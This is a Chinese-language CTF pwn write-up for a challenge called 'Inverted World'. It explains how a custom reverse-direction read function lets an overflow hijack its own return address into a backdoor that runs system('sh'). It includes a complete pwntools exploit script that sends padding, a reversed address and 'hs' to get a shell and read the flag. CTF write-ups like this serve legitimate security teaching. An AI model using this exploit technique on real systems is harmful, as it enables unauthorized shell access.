Skip to content

Inverted World

题目分析

checksec 之后发现未开启 pie,开启了 Canary.

C
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[255]; // [rsp+0h] [rbp-110h] BYREF
  _BYTE v5[17]; // [rsp+FFh] [rbp-11h] BYREF

  *(_QWORD *)&v5[9] = __readfsqword(0x28u);
  init(argc, argv, envp);
  table();
  write(0, "root@AkyOI-VM:~# ", 0x12uLL);
  read(0, v5, 0x512uLL);  // 这里实际是自定义的 _read 函数,实现和 read 函数相反方向的输入
  write(1, buf, 0x100uLL);
  puts(byte_402509);
  puts("??? What's wrong with the terminal?");
  return 0;
}

main 函数的 read 存在栈溢出,但是这个 read 函数是自定义的(源码中命名函数名为 _read 来实现的)。

_read 实现的是和正常 read 相反方向进行输入,我们这里输入的长度 0x512 明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 _read 函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。

反向输入 sh 即可执行 system("sh") 拿到 shell.

关于 Canary

因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.

EXP

python
from pwn import*

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

p=remote('???.???.???.???', ?????)

payload=b'a'*0x100
p.sendline(payload+p64(0x040137C)[::-1])
p.sendlineafter("root@AkyOI-VM:~#", "hs")
p.sendline("cat flag")
p.interactive()